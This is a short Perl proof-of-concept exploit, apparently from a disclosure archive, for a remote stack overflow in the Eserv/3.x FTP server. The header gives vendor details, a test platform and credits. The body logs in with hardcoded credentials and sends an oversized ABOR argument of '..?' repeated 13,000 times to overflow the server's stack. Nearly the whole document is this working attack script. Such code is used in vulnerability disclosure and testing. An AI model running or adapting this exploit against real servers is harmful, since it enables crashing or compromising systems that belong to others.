eserv-overflow.txt

`#!/usr/bin/perl  
#  
# Eserv/3.x FTP Server (ABOR) Remote Stack Overflow PoC  
#  
# Summary: Eserv/3.x - Mail, News, Web and Proxy Servers - Mail  
# Server (SMTP, IMAP4 and POP3) - News Server (NNTP) - Web Server  
# (HTTP) - FTP Server - Proxy Servers (HTTP, FTP, Socks, etc) - Finger  
# Server - Built-in scheduler and dialer.  
#  
# Product web page: http://www.eserv.ru/ | www.etype.net/eserv/  
#  
# Tested on Microsoft Windows XP SP2 (English)  
#  
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
#  
# liquidworm [t00t] gmail.com  
#  
# http://www.zeroscience.org  
#  
# 14.10.2008  
#  
  
use Net::FTP;  
  
$ipaddr = "127.0.0.1";  
$mana = "..?" x 13000;  
$user = "admin";  
$pass = "nimda";  
$port = 21;  
  
$ftp = Net::FTP->new("$ipaddr", Debug => 0) || die "Cannot connect to $ipaddr on port $port: $@";  
$ftp->login($user,$pass) || die "Cannot login ", $ftp->message;  
  
$ftp->abor($mana);  
  
$ftp->quit;  
  
print "\nDone!\n";  
  
`